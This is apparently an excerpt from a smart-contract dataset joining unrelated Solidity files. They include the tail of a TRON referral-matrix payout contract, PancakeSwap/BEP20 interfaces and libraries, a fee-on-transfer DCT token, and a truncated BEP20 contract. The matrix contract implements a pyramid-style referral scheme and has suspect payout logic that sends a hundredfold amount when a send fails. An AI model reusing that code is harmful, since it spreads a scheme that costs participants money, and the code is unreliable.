function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].reinvestCount,
users[userAddress].x3Matrix[level].blocked);
}
function getX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTRONReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTRONReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTRONReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function findLevelReceiver(address userAddress, address _from, uint8 matrix, uint8 level, uint8 networklevel) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].activeX3Levels[level] == false) {
emit MissedLevelIncome(receiver,users[receiver].id, _from,users[_from].id, matrix, level, networklevel);
isExtraDividends = true;
receiver = users[receiver].referrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].activeX6Levels[level] == false) {
emit MissedLevelIncome(receiver,users[receiver].id, _from,users[_from].id, matrix, level, networklevel);
receiver = users[receiver].referrer;
isExtraDividends = true;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function distributeLevelIncome(address userAddress, uint8 matrix, uint8 level) private {
uint principal = (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR) * 100;
address from_address = userAddress;
bool owner_flag = false;
bool isExtraLevel;
address receiver;
for (uint8 i = 1; i <= 10 ; i++) {
isExtraLevel = false;
if(owner_flag == false)
{
userAddress = users[userAddress].referrer;
if(userAddress == owner)
{
owner_flag = true;
}
}
else
{
userAddress = owner;
}
receiver = userAddress;
if(userAddress != owner)
{
(receiver, isExtraLevel) = findLevelReceiver(receiver, from_address, matrix, level, i);
if(receiver == owner)
{
owner_flag = true;
}
userAddress = receiver;
}
if(!address(uint160(receiver)).send(((principal * levelIncome / LEVEL_DIVISOR))))
{
uint income = (principal * levelIncome / LEVEL_DIVISOR) * 100;
return address(uint160(receiver)).transfer(income);
}
emit SentLevelincome(from_address,users[from_address].id, receiver,users[receiver].id, matrix, level, i ,isExtraLevel);
}
}
function sendTRONDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTRONReceiver(userAddress, _from, matrix, level);
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
if(!address(uint160(receiver)).send(levelPrice[level] - (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR))){
return address(uint160(receiver)).transfer(levelPrice[level] - (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR));
}
return distributeLevelIncome(_from, matrix, level);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 303,683 | 10,308 |
e3556a98fc8230857991607f8d9bf52c41eccb93eae5e5e25379be064e946d90
| 26,061 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5EDd068E2205c02032471e7FE4d76Fa19c7Ae6Cc/Libraries.sol
| 3,971 | 17,153 |
pragma solidity ^0.8.4;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IPancakeERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakeRouter01 {
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
| 256,222 | 10,309 |
d171f1c7ad00bbb987443229c4875de677487985154d57ebc4cfa372f55722e4
| 17,627 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBfBgprSiUtndJGijwL4JAi8P3W6zx8iwt_Token.sol
| 3,250 | 12,045 |
//SourceUnit: DCT.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract Token is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'Ducati Token';
string private _symbol = 'DCT';
uint8 private _decimals = 6;
uint256 private _totalSupply = 99000000000000 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 3;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 1;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 9000000000000 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 15 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 283,818 | 10,310 |
fae0cf9ea7efab0fa05fcdabd64926a013f5d3f3bcfa71b3dd8dfd3fb6821d17
| 31,427 |
.sol
|
Solidity
| false |
312088704
|
ELEMENTFI/TREEPROTOCOL
|
3cd9473f5a8a0975c20b12ff6093eccf60544a1b
|
bdollarcontracts/eBNBdollar.sol
| 3,264 | 13,418 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract BEP20 is Context, IBEP20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
